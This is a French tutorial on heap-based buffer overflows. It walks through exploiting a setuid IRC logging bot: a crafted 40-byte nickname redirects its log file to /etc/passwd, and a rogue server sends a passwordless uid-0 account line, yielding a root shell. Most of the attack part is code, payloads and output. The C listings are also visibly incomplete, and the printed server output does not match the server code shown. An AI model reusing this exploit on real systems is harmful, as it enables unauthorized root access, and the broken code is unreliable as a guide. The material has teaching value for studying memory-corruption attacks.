Les deux types d’exploitation qui suivent (basés sur l’overflow dans les segments bss et heap) sont légèrement différents du stack-based overflow. Dans celui-ci, le but ultime est finalement d’écraser l’adresse de retour pour changer le flux d’éxécution du programme. Dans le cas que nous allons traiter, les cas de dépassement de mémoire dans le heap, il n’y a plus possibilité de déterminer l’éloignement de cette adresse de retour. Par conséquent, les overflows dans le heap reposent sur les variables stockées après le buffer. Plus que jamais, il est nécessaire non seulement d’être inventif pour savoir comment exploiter ce type de faille, mais surtout, il faut avoir une vision claire du déroulement du programme et savoir analyser les répercussions que peuvent avoir le changement de certaines variables sur le reste du programme. Bien qu’il n’y ait pas d’exemples d’école comme il a pu y en avoir dans le cas des overflows sur pile, nous avons décidé de donner un exemple d’exploitation commun, à savoir le dépassement de mémoire sur le nom d’un fichier qui permet l’ouverture d’un compte root par l’écriture dans le fichier /etc/passwd.
Je note ici que les overflows dans le heap sont les plus courant et souvent les plus difficiles à exploiter : les erreurs d’utilisation de malloc()/free() ou new/delete en C++ sont les plus fréquents et leurs exploitations très spécifiques. Il est souvent possible d’en obtenir une exécution arbitraire à la manière de l’article précédent, mais cela demande une connaissance bien plus fine des mécanismes de réservation dans le heap utilisés.
Un exemple d’exploitation
Le programme qui suit est le début d’un robot IRC. La particularité qu’a ce robot est qu’il loggue (enregistre) tout ce qu’il reçoit dans le fichier /tmp/irc_logs. Pour que tout le monde puisse l’utiliser comme il l’entend, le programme est un SRP.
Voici le code :
- //irc-logger.c : Bot de log IRC
- #include <stdio.h> //Nécessaire au FILE
- #include <netdb.h> //Bloc Fonctions Sockets
- #include <arpa/inet.h>
- #include <netinet/in.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/ioctl.h>
- #define h_addr h_addr_list[0]
- typedef enum { false, true } bool; //Definition du type booléen
- int vrecv(int); //Déclaration des prototypes des fonctions utilisées
- bool debloq_sock(int);
- bool cnect(int,char *,int);
- int recu(int,char *);
- void erreur(void);
- int main() {
- int sock = socket(AF_INET, SOCK_STREAM,0); //Identifiant de la connexion
- int bytesRecv; //Nombre de bytes reçues pendant un envoi du serveur distant
- int port; //Port
- if (cnect(sock,serveur,port) > 0) { //Si la connexion a réussi...
- while (1) //Reception de tous les messages jusqu'à déconnexion (Ping Timeout)
- switch(recu(sock,bufferRecv)) { //A-t-on reçu quelque chose ?
- case -2: //La connexion n'est pas active
- case -1: break; //Non
- default: //Oui, on l'écrit (+ traitement des données)
- }
- }
- else erreur();
- close(sock); //On ferme la connexion
- return 0;
- }
- bool cnect(int sock,char *hote,int port) { //Fonction de connexion à un serveur et un port donné
- if (sock > 0) {
- struct sockaddr_in clientService;
- clientService.sin_family = AF_INET;
- struct hostent *HostInfo;
- if (HostInfo = gethostbyname(hote)) { //Résoud le nom d'hôte
- struct in_addr **a;
- a=(struct in_addr **)HostInfo->h_addr_list;
- if (*a) {
- clientService.sin_addr.s_addr = inet_addr(inet_ntoa(**a));
- clientService.sin_port = htons( port );
- }
- }
- if ( connect( sock,(struct sockaddr*) &clientService, sizeof(clientService) ) == -1) { //Connexion
- close(sock);
- return false;
- }
- else if (debloq_sock(sock)) return true;
- else {
- return false;
- }
- }
- close(sock);
- return false;
- }
- int recu(int sock,char *bufferRecv) { //A-t-on reçu qqch sur cette socket non-bloquante ?
- int bytesRecv=-2;
- if(vrecv(sock) > 0) {
- bytesRecv=-1;
- if((bytesRecv = recv(sock,bufferRecv,1024,0)) > 0)
- bufferRecv[bytesRecv] = 0;
- return bytesRecv;
- }
- }
- int vrecv(int sock) { //Vérifie que l'ensemble des données du socket est encore actif
- fd_set ensemble;
- FD_ZERO(&ensemble);
- FD_SET(sock,&ensemble);
- return FD_ISSET(sock,&ensemble);
- }
- bool debloq_sock(int sock) { //Debloquage d'un socket
- u_long argp=1;
- ioctl(sock, FIONBIO, &argp);
- if (!argp) {
- ioctl(sock, FIONBIO, &argp);
- }
- }
- void erreur() {
- }
Voici un exemple d’éxécution de ce programme et le contenu de /tmp/irc_logs après coup :
$ ./irc-logger
Veuillez entrer l'adresse du serveur : irc.freenode.org
Veuillez entrer le port du serveur : 6667
Veuillez entrer le pseudo du bot : testbot
Connexion à irc.freenode.org:6667... Ok
Création d'un socket non-bloquant... Ok
Ouverture du fichier /tmp/irc_logs... Ok
Envoi : NICK testbot
USER testbot . . :testbot
Fermeture de la connexion
$ cat /tmp/irc_logs
NOTICE AUTH :*** Looking up your hostname...
NOTICE AUTH :*** Checking ident
NOTICE AUTH :*** No identd (auth) response
NOTICE AUTH :*** Found your hostname
:heinlein.freenode.net 433 * testbot :Nickname is already in use.
ERROR :Closing Link: 127.0.0.1 (Connection Timed Out)
$
Apparemment le bot fonctionne bien : il se connecte, envoie bien les bons messages, les reçoit et sais reconnaître quand la connexion est rompue. Maintenant, avec nos connaissance sur la segmentation de la mémoire d’un programme, on voit que les deux buffers pseudo_bot et fichier_log se suivent dans le heap. Par conséquent, un overflow de pseudo_bot sur fichier_log devrait nous permettre de changer le fichier de logs dont se sert le bot. Avant de vérifier ce que nous venons de dire, il nous faut parler de l’allocation de mémoire par les compilateurs. En fait, un compilateur n’alloue pas le nombre de bytes exact qui est demandé : il alloue le nombre de byte arrondi au multiplicteur de 16 le plus proche plus 8 bytes. Autrement dit, dans notre cas, le buffer pseudo_bot est composé de ses 30 bytes demandés, plus 2 pour aller au prochain multiplicateur de 16 (32) plus 8 bytes. On a donc un espace alloué de 40 bytes. Les 10 bytes qui sont réservées entre l’espace du buffer et le prochain bloc alloué (ici du 31eme byte au 40eme) sont appellées les dummy bytes ou octets factices. Nous n’allons pas discuter leur intérêt ici, mais il faut savoir qu’elles existent. Ainsi, l’overflow avant le fichier vers lequel on veut rediriger les logs doit être long de 40 bytes exactement. En voici l’illustration :
$ ./irc-logger
Veuillez entrer l'adresse du serveur : irc.freenode.org
Veuillez entrer le port du serveur : 6667
Veuillez entrer le pseudo du bot : aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test
Connexion à irc.freenode.org:6667... Ok
Création d'un socket non-bloquant... Ok
Ouverture du fichier /tmp/test... Ok
Envoi : NICK aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test
USER aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test . . :aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test
//Ici, on a demandé au programme de se terminer avec Ctrl + C, d'où l'absence de messages
$ cat /tmp/test
NOTICE AUTH :*** Looking up your hostname...
NOTICE AUTH :*** Checking ident
NOTICE AUTH :*** Found your hostname
NOTICE AUTH :*** No identd (auth) response
:kornbluth.freenode.net 001 aqwzsxedcrfvtgby :Welcome to the freenode IRC Network aqwzsxedcrfvtgby
:kornbluth.freenode.net 002 aqwzsxedcrfvtgby :Your host is kornbluth.freenode.net[freenode.freenode.net/6667], running version hyperion-1.0.2b
NOTICE aqwzsxedcrfvtgby :*** Your host is kornbluth.freenode.net[freenode.freenode.net/6667], running version hyperion-1.0.2b
:kornbluth.freenode.net 003 aqwzsxedcrfvtgby :This server was created Fri Dec 22 00:08:18 UTC 2006
//La suite du texte a été coupée
Ainsi, nous avons facilement atteint notre premier objectif qui était de pouvoir modifier librement le nom du fichier dans lequel étaient stockées les logs. Notre deuxième objectif est de contrôler ce qui est reçu. Pourquoi ne pas créer notre propre serveur qui enverra les lignes que nous voulons dans le fichier ? Cela relève plutôt de la technique de programmation plutôt que de la connaissance de la mémoire, mais nous avons choisi de vous le montrer en tant que complément du programme de connexion client qu’est Irc-logger. Voici donc le code de notre serveur :
- //serveur.c : Exemple de serveur primaire
- #include <netdb.h> //Bloc Fonctions Sockets
- #include <arpa/inet.h>
- #include <netinet/in.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/ioctl.h>
- #define h_addr h_addr_list[0]
- typedef enum { false, true } bool; //Definition du type booléen
- #define PORT 6667 //Le serveur écoutera sur le port 6667
- //#define ENVOI "Hello you\r\n" //Ligne à envoyer pour le premier test
- #define ENVOI "compteperso::0:0:root:/root:/bin/bash\n\r\n" //Ligne à envoyer pour l'écriture dans /etc/passwd
- bool serv_cnect(int);
- int main() {
- int sock=socket(AF_INET, SOCK_STREAM,0),sock_client;
- bool bvar=true;
- size_t taille_clientService;
- struct sockaddr_in clientService;
- if (serv_cnect(sock)) {
- while(bvar) {
- taille_clientService = sizeof(taille_clientService);
- if ((sock_client = accept(sock,(struct sockaddr*) &clientService, &taille_clientService))) {
- bvar = false;
- }
- }
- }
- close(sock_client);
- close(sock);
- return 0;
- }
- bool serv_cnect(int sock) {
- if (sock > 0) {
- struct sockaddr_in servService;
- servService.sin_family = AF_INET;
- servService.sin_addr.s_addr = htonl(INADDR_ANY);
- servService.sin_port = htons( PORT );
- if ( bind( sock,(struct sockaddr*) &servService, sizeof(servService) ) == -1) { //Connexion
- close(sock);
- return false;
- }
- else if (!listen(sock,1)) return true;
- }
- close(sock);
- return false;
- }
Maintenant, on démarre le serveur et on essaie de le contacter avec le bot :
$gcc -o serveur serveur.c
$ ./serveur
Serveur démarré sur le port 6667
Connexion entrante de 213.186.33.87
H4ck3d !
$
Par ailleurs :
$ ./irc-logger
Veuillez entrer l'adresse du serveur : localhost
Veuillez entrer le port du serveur : 6667
Veuillez entrer le pseudo du bot : testbot
Connexion à localhost:6667... Ok
Création d'un socket non-bloquant... Ok
Ouverture du fichier /tmp/irc_logs... Ok
Envoi : NICK testbot
USER testbot . . :testbot
Fermeture de la connexion
$ cat /tmp/irc_logs
Hello you
$
On est donc capable de contrôler à la fois où le programme écrit et ce qu’il écrit. Penchons-nous maintenant vers le fichier /etc/passwd. Voici deux lignes typiques de ce genre de fichier :
root:x:0:0:root:/root:/bin/bash
SeriousHack:x:1001:1001:,,,:/home/SeriousHack:/bin/bash
Ce sont donc des groupes séparés par des caractères 😊 Le premier groupe (dans la deuxième ligne de l’exemple, "SeriousHack") est le login. Le deuxième est soit un x, soit rien, ce qui signifie respectivement qu’il y a besoin d’un mot de passe ou non pour être authentifié avec ce login. Les deux groupes suivant sont l’user id et le group id. Le prochain groupe est une série d’informations sans trop d’importance. L’avant-dernier groupe est le répertoire personnel ou home de l’utilisateur et enfin, le dernier groupe représente le shell, en général /bin/bash.
Mais que ce passerait-il si on essayait d’ajouter la ligne compteperso::0:0:root :/root :/bin/bash au fichier ? Et bien essayons ! On change ENVOI avec la ligne que l’on veut ajouter à /etc/passwd et on lance le serveur. On éxécute ensuite l’overflow sur le bot IRC :
$ ./irc-logger
Veuillez entrer l'adresse du serveur : localhost
Veuillez entrer le port du serveur : 6667
Veuillez entrer le pseudo du bot : azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd
Connexion à localhost:6667... Ok
Création d'un socket non-bloquant... Ok
Ouverture du fichier /etc/passwd... Ok
Envoi : NICK azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd
USER azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd . . :azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd
Fermeture de la connexion
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
SeriousHack:x:1001:1001:,,,:/home/SeriousHack:/bin/bash
compteperso::0:0:root:/root:/bin/bash
L’ajout de la ligne a bien marché, il ne nous reste plus qu’à vérifier si la théorie que nous avons raconté n’est pas finalement fausse 😉 Puisque dans les versions récentes la commande su demande toujours un mot de passe, il peut être nécessaire de se loguer sur l’un des ttys :
Debian GNU/Linux lenny/sid SeriousHack tty3
SeriousHack login: compteperso
Linux SeriousHack 2.6.18-4-686 #1 SMP Wed May 9 23:03:12 UTC 2007 i686
SeriousHack:~#logname && whoami && id
compteperso
root
uid=0(root) gid=0(root) groupes=0(root)
SeriousHack:~#
Donc apparemment tout a bien marché comme prévu. Cet exemple n’est pas typique des heap-based overflow, comme nous l’avons expliqué, il répond à une situation particulière et c’est pourquoi tout le monde n’est pas capable d’utiliser des overflows dans le heap car cela demande une inventivité et une compréhension assez développées. Ceci dit, cet exemple a aussi permit de voir une nouvelle technique de prise de contrôle du système (bon, légèrement obsolète..), à savoir l’utilisation de /etc/passwd à travers les SRP ainsi que la programmation client/serveur en sockets qui est une arme incontournable de la programmation d’accès à distance.